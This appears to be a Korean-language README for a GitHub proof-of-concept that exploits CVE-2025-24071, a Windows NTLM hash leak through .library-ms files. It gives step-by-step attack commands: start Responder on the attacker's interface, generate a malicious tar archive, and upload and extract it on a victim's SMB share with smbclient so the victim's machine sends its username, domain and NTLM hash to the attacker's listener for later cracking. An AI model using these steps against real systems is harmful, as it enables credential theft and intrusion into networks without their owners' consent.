ex-cal1bur/smb_cve-2025-24071SMB를 통해 .tar 아카이브 내에 .library-ms 파일을 호스팅하여 CVE-2025-24071을 익스플로잇했습니다. smbclient의 tar x를 사용하여 사용자 상호작용 없이 서버 측에서 페이로드가 추출됩니다. 대상이 라이브러리에 접근하면 Responder가 NTLM 해시를 캡처합니다.
이것은 CVE-2025-24071을 악용하기 위한 PoC입니다. 이 윈도우 취약점은 .library-ms 파일을 통해 NTLM 해시 누출을 허용합니다. 이 버전은 .zip 대신 .tar 아카이브를 사용한다는 점에서 다른 버전과 약간 다르며, SMB 전용 환경에서 호환성을 향상시킵니다.
.zip 대신 .tar인가?대부분의 공개 PoC는 악성 .library-ms 파일을 패키징하기 위해 .zip을 사용합니다. 그러나 제한된 SMB 환경(예: smbclient를 통해서만 접근 가능)에서 작업하는 경우 ZIP 파일을 원격으로 추출할 수 없습니다. .tar 아카이브를 사용하면 smbclient에 내장된 tar 명령을 사용하여 SMB 공유에서 직접 페이로드를 추출할 수 있으므로 사용자 상호작용 없이 원격 배포가 가능합니다.
Responder 설치 및 실행Responder, impacket-smbserver, 또는 samba)올바른 인터페이스에서 Responder를 시작하십시오:
sudo responder -I <interface>
페이로드의 IP가 이 인터페이스와 일치하는지 확인하십시오.
python3 create_tar_poc.py
다음 항목을 입력하라는 메시지가 표시됩니다:
다음이 생성됩니다:
공격자 머신에서 smbclient를 사용하여 피해자의 SMB 공유에 연결하십시오:
smbclient //<victim_ip>/<sharename> -U <USERNAME>
put exploit.tar
tar x exploit.tar
이렇게 하면 .library-ms가 공유에 압축 해제됩니다.
exploit.tar가 추출되면 악성 xml을 포함하는 .library-ms 파일이 우리 머신에서 활성화된 Responder인 우리의 SMB에 연결되어, 사용자 이름, 도메인 및 나중에 해독할 수 있는 사용자 암호의 NTLM 해시가 포함된 요청을 전송하여 NTLM을 사용한 인증 시도를 시작합니다.
출시 예정...
Daniel Miranda Barcelona AKA Excal1bur | 0x6rss의 원작 기반, 실험실 시나리오에서 TAR 기반 SMB 배포에 맞게 조정됨.